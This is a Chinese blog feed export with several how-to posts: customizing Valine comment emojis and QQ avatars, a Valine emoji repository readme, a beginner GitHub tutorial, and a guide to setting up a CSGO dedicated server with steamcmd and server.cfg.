我个人的做法是:将表情包上传到Github仓库,通过jsdelivr来使用;通过Python脚本遍历当前目录下的所有文件,自动生成表情列表

上传就不必说了,直接用Git上传即可

生成列表生成脚本我是自己弄了一小段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import os
path = 'D:\xxx\BQB'# 路径已屏蔽QAQ
def findAllFile(base):
for root, ds, fs in os.walk(base):
for f in fs:
yield f

def main():
base = './'
linklist=[]
num=1
for i in findAllFile(base):
linklist.append('custom{}: "https://cdn.bili33.top/gh/Vikutorika/assets@master/img/BQB/{}",'.format(num,i))
num=num+1
print(str(linklist).replace(',\', \'',', '))
if __name__ == '__main__':
main()

这里通过os.walk遍历当前目录下的文件,并且将获取到的文件名通过字符串拼接的方式拼在一起,然后存入列表linklist,接着打印的时候将固定的字符串格式,', '给删除掉(因为是list对象,所以打印出来的时候有固定格式),接着就会给我生成表情列表啦!

生成表情列表

接着将获取到的列表覆盖入Valine的表情列表,保存

在自己的网站引入Valine的CDN的时候引入自己的js文件即可

接着我们就会看到表情列表里面的自定义表情啦!

判断为QQ邮箱将头像设定为QQ头像

这里我们还是打开刚刚的js文件,直接搜索E.cdn+(0,s.default)(t.get("mail"))+E.params,会给我们定位到一个位置

搜索有关字段

我们找到下图中我鼠标所在的位置,回车换行

换行位置

换行以后,加入以下内容

1
2
3
4
5
6
7
8
9
var qq_img = E.cdn+(0,s.default)(t.get("mail"))+E.params;
if (t.get("mail").indexOf("@qq.com") >= 0) {
var prefix = t.get("mail").replace(/@.*/, "");//前缀
var pattern = /^\d+$/g; //正则表达式
var result = prefix.match(pattern);//match 是匹配的意思
if (result !== null) {
qq_img = "//q1.qlogo.cn/g?b=qq&nk=" + prefix + "&s=100";
}
}

然后回到我们刚刚搜索的地方,从'<img处开始,到后面的第一个>'修改为以下内容

1
'<img class="vimg" src="'+(qq_img)+'">'

保存即可,然后引入刚刚我们修改的JS,在评论时邮箱填入QQ邮箱,看看是不是有QQ头像了?

修改UI文字

我们修改UI文字其实非常简单,要修改的东西也是在这个js文件里面

我们随便搜索一个按钮显示的文字,我们就会发现,附近都是我们要修改的文字

搜索有关字段

我们只需要对这些文字进行修改即可,修改成啥样嘛?就看你自己啦!


题外话

啦啦啦!终于引入B站表情包啦!

新建了一个Github项目在这https://github.com/GamerNoTitle/Valine-Magic

以后新的表情包就丢在这里啦!更新日志也写在这里,你可以通过Issue或者PR提交新的表情包

有会修改ValineUI的大佬请联系我!我想做分类标签!!!

Valine在2020/4/21更新了v1.4.5,支持了自定义表情包,故Valine-Magic将不再提供修改的js,改为提供Valine的表情列表

]]>
+ + + + + Tech + + + + + + + Tech + + Customize + + + +
+ + + + + Valine-Magic - Valine表情仓库 + + /posts/Valine-Magic/ + +

Valine在2020/4/21更新了v1.4.5,支持了自定义表情包,故Valine-Magic将不再提供修改的js,改为提供Valine的表情列表,在使用列表之前,请将你的ValineCDN修改为https://valinecdn.bili33.top/
Star

FOSSA Status

访问量(自2020.10.25 11:00:00)

点击对应的表情名可以直接到达表情列表,请注意:你在使用本仓库内的表情时请将Valine的CDN设置为下面表格中的任意一个

已经适配MiniValine#8,有问题请使用issue反馈

在线详细情况可以点击issue#6进行查看

更新日志

你可以提交表情包,请阅读提交的正确方式

CDN服务器(点击可看在线状态)CDN链接优势劣势
Githubhttps://valinecdn.bili33.top/链接短,快有CloudFlare的301跳转作为统计,有可能会崩服
Githubhttps://cdn.jsdelivr.net/gh/GamerNoTitle/ValineCDN@master/非常快有可能会崩服
Codinghttps://mirrorcdn.bili33.top/链接短,较快有CloudFlare的301跳转作为统计,Coding服务器总是崩
Codinghttps://gamernotitle.coding.net/p/ValineCDN/d/ValineCDN/git/raw/master/较快Coding服务器总是崩

Valine

复制的列表可以直接复制到例如butterfly主题的valine.json内,或者是各种用于放Valine表情配置的地方

请注意:如果你想添加多个分类,请记得在每个分类的最后一个表情后面加个,否则Valine无法识别。假设下面这个表情为该系列最后一个表情:

1
"hotkey1": "bilibiliHotKey/1.jpg"

你想在这个表情下面添加其他表情的时候,那么请在这个表情的后面加个,就像下面这样

1
"hotkey1": "bilibiliHotKey/1.jpg",

如果你有新的表情包想要加入,你可以提出issue,或者直接发到admin@bili33.top,并注上你的ID和表情包名字(中文英文都需要)

仓库内的那个PY脚本是我提前编写好用来写表情列表的脚本,如果你有需要可以随意取用

这里有跟本项目同类型的表情仓库,如果在本仓库未找到你想要的表情包可以到这里找 表情速查

MiniValine

直接复制每个分类中的MiniValine所提供的链接(其中https://valinecdn.bili33.top/可以替换为任意CDN链接(见上表)),然后放在emotionUrl里面即可,请注意遵循列表写法,如:

1
2
3
4
5
6
7
8
9
10
11
12
13
<body>
<div class="mvcomment"></div>
<script>
new MiniValine({
el: '.mvcomment',
appId: 'appId',
appKey: 'appKey',
placeholder: 'Write a Comment O(∩_∩)O~~',
emotionUrl: ['https://valinecdn.bili33.top/alu','https://valinecdn.bili33.top/bilibiliHotKey']
})
</script>
</body>

表情分类

哔哩哔哩热词系列哔哩哔哩小电视系列哔哩哔哩2233娘系列
阿鲁alu系列メンヘラちゃん(Menhera-chan)系列表情包HONKAI崩坏3 日常篇
HONKAI崩坏3 观星篇HONKAI崩坏3 蜡笔日常篇HONKAI崩坏3 纯色日常篇
HONKAI崩坏3 史丹HONKAI崩坏3 爱酱HONKAI崩坏3 目标!幽兰黛尔
HONKAI崩坏3 芽衣的剑道修行HONKAI崩坏3 2019新年つり目獣耳スタンプ(Sticker of the slant eyes & cat girl)
Arcaea動く!まふまふスタンプ(ねこ)Mafumafu Animation sticker (cat)微博原生表情包
百度贴吧原生表情包Snow Miku雪初音表情包(LINE)うさみみ少女(SWEETIE BUNNY)
小坏坏表情包Yurui-NekoCute-Emoji
Set667MarupConvenience Store Notes2
Coolapk酷安aodamiao嗷大喵lengtu冷兔
QQ官方表情钉钉官方表情小黑盒表情包(包括盒娘和方块)
魔女之旅Majotabi(官方)

免责声明

本仓库内所有图片均来源于网络,仅供学习交流使用。若用户违反相关法律法规造成损失,将由用户自行承担,本仓库所有者和PR提交者不承担一切责任!

License

FOSSA Status

]]>
+ + + + + Tech + + + + + + + Tech + + Customize + + meme + + emoji + + + +
+ + + + + Github的基本用法 —— 给小白的新手教程 + + /posts/Github-Basic/ + +

本文是写给初到Github的新手们的,其中大量为基础内容,如果你不是Github新手玩家你可以关闭本页面!

开头语

初来乍到的萌新们,刚到Github,你们是不是一脸懵逼?我是谁?我在哪?我要干哈?
Github是全球最大的 同性交友平台 代码托管平台,在这里你可以看到各种大佬,例如国内最大的MC红石服务器TIS插件开发组@TISUnion,或者是我们再熟悉不过了的微软Microsoft;当然不只是代码,Github里面也有各种文化仓库,这里举个很好玩的仓库作为例子——表情包仓库ChineseBQB,可谓是表情包的聚集地;Github上甚至还有你想不到的项目(是什么项目我就不说了,自己点我查看

接下来,我就来跟你讲讲Github怎么使用。话不多说,让我们开始吧


主页管理

当你注册完Github并登录后,Github会将你带到首页,这里有点类似很多服务器的仪表盘吧(如图)

Github主页

其中,左边一块是跟个人有关的,包括活动仓库和所在团队,活动仓库是你发过issue、PR(pull request),点过Watch、Star、Fork的仓库,触发以上操作(上面的操作后面会说)都会将你操作的仓库添加到左边的活动仓库列表,便于你进行寻找;所在团队则是当你创建/加入一个团队并被分配到Team(队,有点类似于部门)后显示

中间那一栏是与你有关的Github的活动,Github会在上面优先列出你近期的活动(近期具体是多少天以内就不知道了,没算过),下面则会列出所有与你有关的活动,顺序为从新到旧。你可以看到你Follow的人的动态,也可以看到与你有关的动态(如别人Follow你,Star/Fork你的仓库等等)

右边一栏则是被称为Github Explore(Github探索)的东西,Github会根据你在Github的仓库访问情况推荐你可能感兴趣的仓库,右边一栏会列出3个,点击右边那一栏的Explore More→则会打开一个新的页面,里面罗列出Github今日给你推荐的项目仓库

最上面一行是导航栏,导航栏在Github的任何页面都会展示。点击Pull Requests就会列出你与你有关的所有PR,同理,点击issue也是一样。Marketplace会打开Github的插件库,里面有各种插件供你选择,有免费的当然也有付费的;Explore则是会打开跟右边Explore More一样的界面;点击右上角的个人头像可以有更多的选项,点击会出来各种管理,这个我们到个人管理再讲。

(什么?你问我的导航栏为什么是彩色的?看来你是没用过Stylus呢,装完Stylus后安装这个样式就可以让Github变成彩色的了)


个人管理

当你点击导航栏里面的头像,Github会给你弹出下面这个列表

Github个人菜单

①表示你登录的用户,这里我是用自己的用户登录的,所以写的是GamerNoTitle

②是你的个人信息,点击后会进入个人信息页面

③是你的仓库,点击后会进入自己的仓库列表

④是项目列表,不过我自己没怎么用,而且本篇教程我也不打算讲Project

⑤是你Star过的项目,点击后会对你Star的项目进行列出的操作

⑥是用来发布代码片段的Gist,没啥用(因为你在GFW的保护下)

⑦、⑧是与Github有关的,能够帮助你使用Github并且获取Github的新功能

⑨是设置,设置我们晚点讲

⑩是登出,当然就是退出啦

我们进入Profile查看一下,这里会列出你的各种信息,包括你自己设定的Slogan、你的学校、你的地理位置、你的邮箱(可以设置多个,但只有一个对外展示,未登陆者不会显示)、你的网站

Github Profile

右边上面是你PIN(钉~)的仓库,如果你想让别人一到你的个人页面就能看到你的Breaking Repositories的话你可以把你的仓库PIN到上面来;下面的小方格则是一年内你的Contribution(贡献),Commit数量越多,绿色越深;再往下就是你的活动了

在PINNED的上面,从左到右的按钮依次是:仪表盘、仓库、项目、包、Star、追随者、你追随的人。Star可以在个人菜单(上面那张标了序号的图)里面点Your Star进入,同样,仓库和项目也可以

更详细的个人资料设置,可以在设置里面进行更改,其中可更改的包括你的用户名、邮箱等

Github Settings - Profile


仓库管理

仓库创建

当你决定在Github托管你自己的代码的时候,你就可以开始创建仓库了。不过在此之前,请确保你会使用Git,Git的简单用法下面会略微涉及,但本篇绝对不会教你《Git从入门到精通》,Git的用法请自行百度。

Github新建仓库

我们点击导航栏里面的+号,选择New repository,Github会带我们到新建仓库的页面。在Repository name中填入你想要的仓库名字,仓库名可以用英文和任意符号,甚至是中文(不推荐),但是在网址中无法被识别的字符会统一被替换成-,不管你有多少个连在一起(包括中文),例如我这里有个仓库名字是!@#$%^&*(),那么Github会让你创建你的仓库名为!@#$%^&*(),但是网址中只会变成https://github.com/:user/-,没错,Github直接用一个-代替了你的!@#$%^&*(),所以仓库命名我这里提出以下几点建议:

  • 仓库名字尽量为英文
  • 仓库名中尽量不要含有特殊字符,如果需要空格的话将空格替换为-
  • 仓库名能够让别人一眼看出这个仓库是用来做什么的

遵循上面的这些建议,我相信你的仓库命名应该不会乱的

在下面有Description,填写了以后会在别人搜索或者是访问你的仓库的时候展示(如图)

Description搜索展示

Description仓库展示

再往下就是仓库的公开性,Public是公开,任何人都能访问你的仓库(只读);Private是私人仓库只有你和被你邀请的人才能够访问

再下去就是用一个README初始化你的仓库,如果勾选了Github会新建一个README来初始化你的仓库,但是README一般都是按下面的格式写的

1
# :Title

没错,就只有这一行,所以我一般不勾选

仓库初始化

这里我先新建一个名为Tutorial的仓库,公开仓库并且不勾选README初始化

Github仓库新仓库

如上图,我已经新建了一个船新的仓库我们现在要手动初始化一次

我这里新建一个文件夹,在这里打开命令行,先用Git初始化这个文件夹,并在里面放入一个README.md文件

使用Git命令来推送我们的更改

1
2
3
4
5
$ git init    # 初始化文件夹(在文件夹内创建一个.git文件夹用于存储git信息)
$ git add . # 添加所有更改,当然你也可以添加特定的更改,把.换成文件路径即可
$ git commit -m "init" # 提交更改,并留下信息为"init"
$ git remote add origin git@github.com:GamerNoTitle/Tutorial.git # 添加仓库地址到名为origin的git目标
$ git push -u origin master # Git推送到仓库,仅第一次加入git远程目标时需要,后续直接git push

我这里使用的是SSH推送方式,你也可以使用HTTPS的方式,不过缺点就在于每次都要输入Github的账号信息。

添加SSH秘钥

那么如何使用SSH方式呢?我们先打开命令行,使用ssh-keygen来创建我们的SSH秘钥,如果要求你输入的话可以直接留空回车(高级用户请自便)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/bili33/.ssh/id_rsa):
Created directory '/home/bili33/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/bili33/.ssh/id_rsa.
Your public key has been saved in /home/bili33/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:jdynahazKmHSKBGge2KnSDNlUFM7+AVADYeW4NY7CjY GamerNoTitle@ADMIN-PC
The key's randomart image is:
+---[RSA 2048]----+
|oo+*B+ |
|+ o++.o |
|.+.= o . |
|o.o o o. + |
|+E.* . S o . |
|BoX = o o |
|.+ o . +. |
| . +. |
| ..+. |
+----[SHA256]-----+

然后Windows会在C:\Users\:user\.ssh下创建两个文件,linux则会在/.ssh创建两个文件,两个系统创建的文件是一样的,都是id_rsaid_rsa.pub

Github SSH KEY页面

我们需要用记事本或者任意文本编辑器打开id_rsa.pub,将里面的内容复制,然后点开Github设置,点击左边的SSH and GPG Keys,点击右上角的NEW SSH KEY

Github添加KEY

将你的id_rsa.pub的内容粘贴到下面的大框框里面,上面填上一个便于你自己辨识的名字,然后保存

这样一来,你当前的设备就有对Github仓库的访问权限。除非你重新生成了SSH秘钥,否则无需对秘钥进行更改。

仓库初始化完成

看下面,我已经将我的README.md推送到Github仓库了

Github推送完成

仓库设置

Github仓库设置

我们点击上面的Settings,Github会把我们带到仓库的设置界面

在Options里面,有仓库的基本设定:仓库名、仓库封面图、仓库功能、Github Pages服务,还有Github所谓的危险区(对仓库的所有权或者状态进行管理的分区

左边则还有各种设置项,可以用Manage access来授予别人访问权限,当然也可以为仓库添加特定的SSH key等等

仓库发行

当我们编译完自己的程序,想要发布可执行程序的时候,就需要Release功能(当然不止于这种情况,也有想要薅一把Github的羊毛把Github当做图床加上Jsdelivr作为CDN的用法)

Github仓库导航栏

Github仓库无发行版

我们点击顶端的Release按钮,如果你之前没有Release的话界面应该是像上面这样的,我们就要点create a release来创建我们的发行

Github Release有发行版

如果你有发布过release,那你的界面应该是这样的,我们就要点右上角Draft a New Release来发布

Github新建Release

在这个界面,在左边最小的那个框里面填写版本号,版本号应该像是v1.0.0a1.0这样的,取得复杂了就很麻烦(当然只是自己用的话请随便),在长条框里面填写自己的标题,下面的大框框填写自己这个版本的详细内容,填写完后点击最下面的publish release即可。

等到我想到还有什么是要跟小白说的我会再发的,现在暂时想到这么多,当然你也可以留言


题外话

我还真的没想到有人玩Hexo不会用Github,然后就写了这一篇文章……

最近做了使用MCDR的服务器能够使用的两个插件SimpleOPMCDR-WikiSearcher,前者是根据佛冷的修改的,后者是因为TIS发布的那个用不了,然后就自己整了一个,也就整了3小时,其实不难

]]>
+ + + + + Software + + + + + + + Software + + Github + + Noob + + + +
+ + + + + CSGO服务器架设指南 + + /posts/CSGO-Server/ + +

“GOGOGO”最近我身边的小伙伴们都拉我打CSGO,还想打内战……然后就让我架设一个社区服务器。讲真,架设社区服务器的坑挺多的,我会在文中尽量把我架设服务器的过程给叙述完整,帮助你们,同样也帮助我在我忘记的时候回想起来

废话不多说,让我们开始吧(干货警告)


你需要准备:

一台有公网IP的服务器

一个Steam账号(无任何的VAC记录,没有社区违规记录)

我这里使用的是阿里云的轻量应用服务器(Ubuntu 18.04 LTS),如果你也想使用阿里云,但是没有阿里云账号,可以到下边的这个链接进行注册(顺带帮我填一下邀请码秋梨膏)

https://www.aliyun.com/minisite/goods?userCode=05u8nbft

然后可以到阿里云云翼计划购买轻量应用服务器(下面的云服务器ECS),亲测一个服务器10个人带的动没啥问题

Linux搭建方法

Steamcmd下载

首先,你需要下载Steamcmd,这是一个Steam的官方软件,关于它的详细信息,你可以在这里找到(V社官方WIKI,无需梯子)

自动安装

如果你的服务器是64位的Linux系统,你需要运行以下命令安装32位的运行库

1
2
3
4
$ sudo add-apt-repository multiverse
$ sudo dpkg --add-architecture i386
$ sudo apt update
$ sudo apt install lib32gcc1 steamcmd

然后就可以直接使用

1
$ apt install steamcmd# Ubuntu用户

或者

1
$ yum install steamcmd # CentOS用户

来安装Steamcmd,如果你更新了yum库或者apt库仍然提示未找到steamcmd包,那么你可以使用手动安装的方法

手动安装

手动安装就是自己从V社的官方服务器中获取可执行文件,当然在这之前,你还是需要安装32位的运行环境

  • Ubuntu

    1
    $ sudo apt-get install lib32gcc1
  • CentOS X86

    1
    $ yum install glibc libstdc++
  • CentOS X64

    1
    $ yum install glibc.i686 libstdc++.i686

安装完运行库后,我们需要下载steam官方的软件包

1
$ curl -sqL "https://steamcdn-a.akamaihd.net/client/installer/steamcmd_linux.tar.gz" | tar zxvf -

使用上面这一条命令下载软件包,解压后应该有个steamcmd.sh和一个文件夹。我们直接运行steamcmd.sh

1
$ bash steamcmd.sh

然后它会进入更新状态,就像是你平常打开Steam的那个小白窗

Steam更新小白窗

等它最后显示为Steam>并且是输入状态的时候,它就完成了更新。至此,你就完成了Steamcmd的安装

按照steam官方的意思,他们不推荐使用root账户来运行steamcmd(我也不知道为什么),然而我实际上用root账户开下来也没有什么不妥的地方,所以是否使用root账户取决于你们自己吧

CSGO服务器安装

在这之前,请确保你的服务器装得下CSGO的所有文件,服务端的大小跟客户端没差多少,请确定你的服务器有那么多的空间!!!

我们在Steamcmd里面输入login anonymous来进行匿名登录

1
$ Steam>login anonymous

当然你也可以使用你自己的账号登录

1
$ Steam>login :Steam_Account :Password :Steam_Guard

其中,:Steam_Account是你的Steam登录名,:Password是你的密码,:Steam_Guard是你的Steam令牌,如果你是使用邮箱令牌的,那你可以不加上令牌,先发出登录请求,等Steam执行了登录以后会让你输入你的邮箱验证码的

登录完成后,我们的Steamcmd就正式接入了Steam网络了。我们需要安装CSGO服务器

1
$ Steam>app_update 740 validate

用上面的命令来安装CSGO服务器,740是CSGO服务器这款应用在Steam的注册ID,validate是文件验证,初次安装需要进行文件验证,以后升级可以直接使用

1
$ Steam>app_update 740

来进行升级。如果你的服务器不够空间,会给你报错,你可以先退出Steamcmd,在linux的命令行中使用

1
$ df -h

来查看你的空间是否足够,一般来说需要查看最右边Mounted on/这一个目录的剩余,Avail就是这个目录剩余的空间。

当你输入命令安装CSGO服务器后,Steamcmd会进入安装状态等到最后提示Successfully installed即为安装完成,你的CSGO已经被安装在了./steamapps/common/Counter-Strike Global Offensive Beta - Dedicated Server里面了

如果你觉得它太长了,你可以使用

1
$ Steam>force_install_dir :dir

来安装到你觉得合适的地方,请将:dir换成你要的目录,并且在app_update前执行!

配置服务器

安装完了以后,我们就要进行服务器的配置。CSGO服务器默认的配置很令人头疼的:竞技模式、TK开启、TK惩罚等等等等,各种不方便的东西都有。我们需要修改服务器的配置

CSGO也给我们提供了很方便的方法修改服务器,我们可以使用一个文件进行修改。

我们在CSGO服务器目录下的./csgo/cfg文件夹中新建一个文件叫做server.cfg,然后在这里面修改我们需要的配置。我先贴出我的配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
rcon_password "" // OP 密码
// "" 表示没有
hostname "服务器"
// 服务器名称
sv_region 255 // 服务器所在区域注册参数
// 255=全球
// 0=美国东部
// 1=美国西部
// 2=南美洲
// 3=欧洲
// 4=亚洲
// 5=澳洲
// 6=中东
// 7=非洲
sv_rcon_minfailures 3
// 允许输入OP密码 错误次数下限 // 达到下限则封禁对方的IP
sv_rcon_banpenalty 5
// 封禁的时限 单位 分钟
// 0=永久
sv_maxupdaterate 100
// 服务器每秒更新最大频率
// 根据实际网络状况调节
// sv_maxrate / 300 = 要设的值 // 默认=30
// 局域网=101
sv_minupdaterate 40
// 服务器每秒更新最小频率
sv_unlag 1
// 玩家延时补偿
// 0=关闭
// 1=开启(默认)
sv_maxunlag 0.5 // 延时补偿最大值默认 0.5 // 0.5=500毫秒(默认)
sv_voiceenable 1 // 服务器是否允许麦克风语音通讯 // 0=禁止
// 1=允许(默认)
sv_unlagsamples 1 // 延时补偿数据包平均采样数量 // 默认=1
sv_unlagpush 0 // 服务器推进延时补偿
// 0=关闭(默认)
// 1=开启
mp_autokick 0 // 自动踢除不动的玩家
// 0=关闭(比赛默认)
// 1=开启
mp_autocrosshair 0 // 自动瞄准
// 0=关闭(默认)
// 1=开启
mp_autoteambalance 0
// 自动平衡双方人数
// 0=关闭(比赛默认)
// 1=开启
mp_buytime 0.25 // 每回合购买武器装备时间单位分钟 // 比赛默认=0.25
mp_consistency 1 // 防止某些模型被更改
// 0=关闭
// 1=开启(默认)
mp_c4timer 35 // C4爆炸倒计时单位秒
// 比赛默认=35
mp_decals 300 // 墙壁上的血花弹孔贴图细节数据传送(200-300)
mp_falldamage 1 // 高处落下伤害
// 0=关闭
// 1=开启(默认)
mp_fadetoblack 0 // 死后黑屏
// 0=关闭(默认)
// 1=开启
mp_flashlight 1 // 手电筒
// 0=禁止
// 1=允许(默认)
mp_forcechasecam 2 // 死后跟随
// 0=所有玩家
// 1=仅队友
// 2=仅队友,主视角(比赛默认)
mp_forcecamera 2 // 死后视角选择
// 0=全部视角
// 1=仅队友,全部视角
// 2=仅队友,主视角(比赛默认)
mp_footsteps 1 // 脚步声
// 0=关闭
// 1=开启(默认)
mp_fraglimit 0 //杀人数上限(1~n),超过上限就换地图 // 0=关闭(默认)
mp_freezetime 8 // 每回合开始冻结时间单位秒
mp_friendlyfire 1 // 友军伤害
// 0=关闭(默认)
// 1=开启
mp_friendly_grenade_damage 1
// 友军手雷伤害
// 0=关闭
// 1=开启
mp_hostagepenalty 0 // 惩罚人质杀手
// 0=不惩罚(默认)
// 1~N=人质被杀数量,超过则踢出该玩家
mp_limitteams 0 // 两队人数差异上限
// 超过此上限,新玩家只能当观察员 // 比赛默认=10
sv_logbans 1
// 服务器日志里记录Ban掉玩家的内容 // 0=不记录
// 1=记录
mp_logecho 0 // 将服务器日志反馈到控制台 // 0=关闭
// 1=开启
mp_logdetail 3 // 服务器日志里记录攻击信息 // 0=不记录任何信息
// 1=记录敌人攻击
// 2=记录队友攻击
// 3=记录所有攻击
mp_logfile 1 // 服务器记录日志为文件 // 0=不记录
// 1=记录
mp_logmessages 1 // 服务器日志里记录谈话内容 // 0=不记录
// 1=记录
mp_maxrounds 30 // 回合上限,达到此上限,自动重新载入新地图
// 0=无回合上限(默认)
mp_playerid 0 // 当准星指向敌人或队友时,显示他们的名字
// 0=显示所有人(比赛默认)
// 1=仅显示队友
// 2=不显示
mp_roundtime 2
// 每回合时限单位分钟
mp_timelimit 0
// 地图最大时限,达此时限,自动重新载入新地图
// 0=无时限
mp_tkpunish 0
// 惩罚队友杀手
// 0=关闭(默认)
// 1=开启
mp_startmoney 800 // 第一回合开始金钱(800~16000) // 加时赛=10000
mp_winlimit 0
// 一方最大胜利回合数,达到此数量,自动重新载入新地图
// 0=无限制(默认)
sv_aim 0
// 自动瞄准
// 0=关闭(默认)
// 1=开启
sv_airaccelerate 10 // 玩家在空中移动的速度
// 默认=10
sv_airmove 1 // 在空中移动&转向
// 0=禁止
// 1=允许(默认)
sv_allowdownload 1
// 客户端下载服务器资源 // 0=禁止
// 1=允许(默认)
sv_allowupload 1
// 客户端上传自己的喷图 // 0=禁止
// 1=允许(默认)
sv_alltalk 1 // 警匪通话
// 0=禁止(默认)
// 1=允许
sv_proxies 1 // HLTV代理
// 0=禁止
// 1=允许(默认)
sv_cheats 0 // 作弊模式
// 0=关闭(默认)
// 1=开启
sv_clienttrace 1.0 // 客户端模型的范围框的尺寸
// 默认 1.0
sv_clipmode 0
// 锁定客户端快速模式
// 0=关闭(默认)
// 1=开启
sv_friction 4
// 地面摩擦力默认 4
// 数值越低,摩擦越小
sv_gravity 800 // 重力默认 800
sv_maxrate 20000 // 服务器最大传输速率<0-25000> // (服务器上传带宽 x 125) /服务器设定的最大人数 = 要设的值
// 0=无限制
// 局域网=25000
sv_maxspeed 320 // 客户端最大移动速度
sv_minrate 0
// 服务器最小传输速率<0-25000> // 0=无限制
sv_send_logos 1 // 客户端相互之间传送喷图
// 0=禁止
// 1=允许(同时确保sv_allowdownload键值为1)
sv_sendvelocity 0
// 服务器混合物理运算,适用于较好配置的服务器 // 0=关闭
// 1=开启
sv_send_resources 1
// 自动向客户端传送地图关联的*.res文件里包括的资源文件 // 0=关闭
// 1=开启(同时确保sv_allowdownload为1)
sv_stepsize 18
// 玩家的步伐距离
// 默认 18
sv_stopspeed 75
// 玩家停止移动时的速度默认 75
sv_timeout 65
// 客户端连接服务器超时的时限,达到时限则断开连接
sv_voicecodec voice_speex // 语音通话解码
// voice_miles是HL引擎长期以来用的语音解码(默认),占用带宽较大,为32kbps
// voice_speex是Valve新加入的解码,优于voice_miles,占用带宽较少,为2.4kbps至15.2kbps
sv_voicequality 5
// 客户端语音通话质量(确保sv_voicecodec voice_speex)
// 1=非常差...........占用带宽 2.4 kbps // 2=差...............占用带宽 6.0 kbps // 3=中等.............占用带宽 8.0 kbps // 4=好...............占用带宽 11.2 kbps // 5=非常清晰.........占用带宽 15.2 kbps
allow_spectators 1
// 观察员模式
// 0=禁止
// 1=允许
decalfrequency 30
// 玩家喷图的时间间隔单位秒
edgefriction 2
// 玩家与玩家、墙壁、物体之间的摩擦
// 默认 2
host_framerate 0
// 与Demo录制有关
// 0<N<1 为慢录
// n=0 为正常(默认)
// n>1 为快录
log on
// 开始记录日志
pausable 1
// 客户端暂停游戏
// 0=禁止
// 1=允许
// Steam社区服务器验证
sv_setsteamaccount xxx
// 模式参数
game_mode 1
game_type 0
mapcyclefile mapcycle.txt
// 地图循环列表所在的.txt文件
// *.txt = cstrike\*.txt文件
// Use this file to configure your DEDICATED server. // This config file is executed on server start.
// load ban files
exec listip.cfg
exec banned.cfg

其中很多内容我都注释好了,其实这个配置文件也是我从网上找来然后进行修改得出的。其中有几个比较重要的参数:

rcon_password管理员密码,在控制台可以输入密码使用管理员权限,就不需要在后台使用指令

hostname服务器名称,记得一定要修改,之前翻社区服务器的时候发现很多没修改的都是写着Counter-Strike Global Offensive的

sv_password玩家加入需要的密码,填入了就会加密你的服务器,只有输入正确的密码才能够进入

sv_setsteamaccount社区服注册秘钥,这个一会会说

调整完了你的配置文件,将文件命名为server.cfg,然后放入上面所说的那个./csgo/cfg文件夹中即可

接着我们就可以着手开启服务器了

开启服务器

关于服务器的开启,根据Steam的官方文档,我们需要安装一个叫做screen的包,使用

1
$ yum install screen

或者

1
$ apt-get install screen

来安装,然后我们就进入到CSGO服务器文件夹的根目录,也就是./steamapps/common/Counter-Strike Global Offensive Beta - Dedicated Server里面,使用

1
$ screen ./srcds_run

就可以开启服务器了,当然后面可以跟一些参数,例如我想关闭VAC验证(避免VAC无法验证您的回话出现而无法加入服务器),那我就在后面加上-insecure即可;或者说我想更改模式,我就可以使用+game_mode 1 +game_type 0来进入竞技模式。

等到最后一行提示GC Connection established for server version xxxx, instance idx 1的时候就是开完了(xxxx是版本号)

根据CSDN@Summer.LICY的反馈,启动时可能会出现Failed to open dedicated.so (libstdc++.so.6: cannot open shared object file: No such file or directory)的情况,这种情况下我们需要使用

1
$ apt-get install libstdc++.so.6

或者

1
$ yum install libstdc++.so.6

来安装这个依赖库

关于模式,这里有一份较详细的表格(来源:Steam Developers官网)

Game Mode game_type game_mode
Casual (default) 0 0
Competitive / Scrimmage 0 1
Wingman 0 2
Arms Race 1 0
Demolition 1 1
Deathmatch 1 2
Custom 3 any (?)
Guardian 4 0
Co-op Strike 4 1
Danger Zone 6 0

注册服务器

当你直接开启服务器后,用connect ip:27015进行连接会提示:仅限局域网连接,这就是没有注册服务器到社区服务器造成的结果。这就需要用到我刚刚所说的sv_setsteamaccount这个配置。

我们访问Steam 社区 :: Steam 游戏服务器帐户管理这个链接,在这里登陆你的Steam账号(一定要没有VAC记录和社区违规记录!!!否则会无法注册)

官方Steam账号要求

然后我们在下面的APPID里面填入730,备忘录按照自己喜好填,主要是用来区分不同的秘钥使用

CSGO社区服务器注册

然后将获得的秘钥放入sv_setsteamaccount内即可,接着启动服务器,连接服务器,发现是不是可以连接了?

Windows搭建方法

其实Windows除了Steamcmd的安装跟linux不一样,其他都是一样的。Windows版的Steamcmd可以在这里下载https://steamcdn-a.akamaihd.net/client/installer/steamcmd.zip

下载完后解压,通过命令行运行steamcmd,其余的方法都跟linux一样,可以从CSGO服务器安装开始看


题外话

我打CSGO是真的菜,讲真……而且CSGO开箱真的开不起,我还是做一名咸鱼玩家吧

不过话说回来我CSGO有狗牌(忠诚徽章)耶,应该是我唯一能炫耀的东西惹……

辣鸡腾讯,QQ里面拦截我的网站,申诉还说我有恶意信息……一会加客服QQ问

]]>
+ + + + + Software + + + + + + + Host + + Software + + CSGO + + GameServer + + + +
+ + + + + hexo-theme-butterfly主题美化小笔记 + + /posts/butterfly-customize/ + +

在正式讲博客的美化之前,我想先感谢@jerryc能够带来这么棒的主题~如果你同样想使用butterfly主题,你可以去查看安装文档

如果你想让我在butterfly中添加新功能,你可以直接在本文章下方留言,我会尽量满足

另:

话不多说,让我们开始吧!

注:写这篇文章的时候我的主题版本是2.1.0


友链界面加入更多的自定义文字

